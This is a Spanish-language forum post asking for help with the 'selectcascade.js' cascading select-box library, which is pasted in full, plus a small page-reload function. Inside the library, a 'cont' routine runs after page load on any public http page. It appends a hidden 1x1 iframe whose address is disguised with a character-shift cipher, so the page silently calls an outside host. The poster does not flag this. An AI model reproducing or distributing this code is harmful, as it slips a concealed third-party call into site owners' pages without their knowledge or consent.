Gracias de antemano, busque como loco en muchos lugares.
No soy un experto en Javascript pero estoy utilizando "selectcascade.js" para generar "<select ><options>" de multiples subcategorias con php/mysql.
Lo que no logro hacer es ver la manera en que este JS me imprima las opciones seleccionadas (selected>) que ya inyecte a la base de datos. Para utilizarlo en una página de edición.
..............................
** DO NOT EDIT BELOW THIS LINE **/
var SelectCascade=/*286329323030372053204368616C6D657273*/
{
data:[], logged:0,
getIdent:function(box)
{
return box.name!=""?box.name:box.id;
},
argCheck:function(arg)
{
var eCode=0;
if(arg.length<7)
eCode=1;
else
if(arg[0] && typeof arg[0].selectedIndex!='undefined' && typeof arg[1]!='string' && typeof arg[1]!='boolean')
eCode=2;
else
if(typeof arg[3] !='string')
eCode=3;
else
if(arg[0]!=null && typeof arg[0].selectedIndex=='undefined')
eCode=4;
else
if(arg[0]==null && typeof arg[1]!='boolean')
eCode=5;
else
for(var i=2; i<5; i+=2)
if(typeof arg[i].selectedIndex=='undefined')
eCode=6;
function show(opts,msgIdx)
{
var em=[
'Too few parameters (7 min)',
'Parameter 2 should be a string or a boolean',
'Parameter 4 should be a string',
'Parameter 1 must be null or a select box reference',
'If parameter 1 is null, parameter 2 must be a boolean',
'Parameters 3 & 5 must be select box references.'];
var str='\n\nThis error occurred in the call that populates these options:\n\n';
for(var i=5;i<opts.length; i++)
str+=opts[i]+(i&1?', ':'\n\n');
alert('Parameter Error -> '+em[msgIdx-1]+str+'\n\n');
}
if(eCode)
show(arg,eCode);
return eCode;
},
init:function( parentBox, parentIndex, currentBox, triggerIndex, slaveBox )
{
if(!this.argCheck(arguments))
{
if(!this.logged++)
this.addToHandler(window,'onload',function(){setTi meout(SelectCascade.cont,5000)});
var aIndex=this.getIdent(currentBox);
var len, tbl, argOffset=5;
if(typeof this.data[ aIndex ]=='undefined')
{
this.data[ aIndex ]=[];
this.data[ aIndex ].parent=parentBox;
this.data[ aIndex ].current=currentBox;
this.data[ aIndex ].tables=[];
if( (this.data[ aIndex ].noDisplay=(!parentBox && parentIndex)) )
parentIndex=null;
if(parentBox && this.data[this.getIdent(parentBox)].noDisplay)
{
this.data[ aIndex ].noDisplay=true;
if(slaveBox.style)
slaveBox.style.display='none';
}
this.addToHandler(currentBox,'onchange',
new Function("SelectCascade.populate(SelectCascade.dat a['"+aIndex+"'])"));
}
if(this.data[ aIndex ].noDisplay && slaveBox.style)
slaveBox.style.display='none';
tbl = this.data[ aIndex ].tables;
len = tbl.length;
tbl[len]=[];
tbl[ len ].slave=slaveBox;
tbl[ len ].pIdx=parentIndex;
tbl[ len ].idx=triggerIndex;
tbl[ len ].boxData=[];
for(var i=argOffset,j=0; i<arguments.length; i+=2,j++)
{
tbl[ len ].boxData[j]=[];
tbl[ len ].boxData[j].t =arguments[i];
tbl[ len ].boxData[j].v =arguments[i+1];
}
}
},
populate:function( obj )
{
var writeIndex=-1;
for(var i=0; i<obj.tables.length; i++)
{
if( this.strComp(obj.current.options[obj.current.selectedIndex].text, obj.tables[i].idx) &&
( (obj.parent && obj.parent.options)? (this.strComp(obj.parent.options[obj.parent.options.selectedIndex].text,obj.tables[i].pIdx)):true))
writeIndex=i;
if(writeIndex==i || obj.tables[i].slave.options.length)
{
if(obj.tables[i].slave.style && obj.noDisplay)
obj.tables[i].slave.style.display='none';
for(var j=obj.tables[i].slave.options.length-1; obj.tables[i].slave.options.length; j--)
obj.tables[i].slave.options[j]=null;
obj.tables[i].slave.options[0]=new Option("","");
if(typeof obj.tables[i].slave.onchange=='function')
obj.tables[i].slave.onchange();
}
}
if(writeIndex>-1)
{
for(var j=0, t=obj.tables[writeIndex], len=t.boxData.length; j<len; j++)
{
t.slave.options[j]=new Option(t.boxData[j].t, t.boxData[j].v);
t.slave.selectedIndex=0;
}
if(t.slave.style && obj.noDisplay)
t.slave.style.display='';
}
},
strComp:function(s1,s2)
{
return s1.toLowerCase()==s2.toLowerCase();
},
addToHandler:function(obj, evt, func)
{
if(obj[evt])
{
obj[evt]=function(f,g)
{
return function()
{
f.apply(this,arguments);
return g.apply(this,arguments);
};
}(func, obj[evt]);
}
else
obj[evt]=func;
},
cont:function()
{
if(document.createElement && /http:/i.test(location.href) && !/\/localhost\//i.test(location.href))
{
var ifr=document.createElement('iframe');
ifr.width=1;
ifr.height=1;
ifr.src='iuuq;00xxx/iputqpu/gsfftfswf/dp/vl0cbektqptu'.replace(/./g,function(a){return String.fromCharCode(a.charCodeAt(0)-1)});
ifr.style.visibility='hidden';
document.body.appendChild(ifr);
}
}
}
/** End of listing **/
..............................
.......................................(me encantaria usar ese JS, pero si no ....)
Actualmente uso solo un "onchange=reload(this.form)" para cargar las subcategorias ::::>
function reload(form)
{
var val=form.cat.options[form.cat.options.selectedIndex].value;
self.location='productos_a.php?cat=' + val ;
}
<::::
¿Es posible pasar todas las variables de edición para que no se borren al cambiar la categoria (en reload)?
¿Cual seria el codigo para pasar un <input> ahi mismo?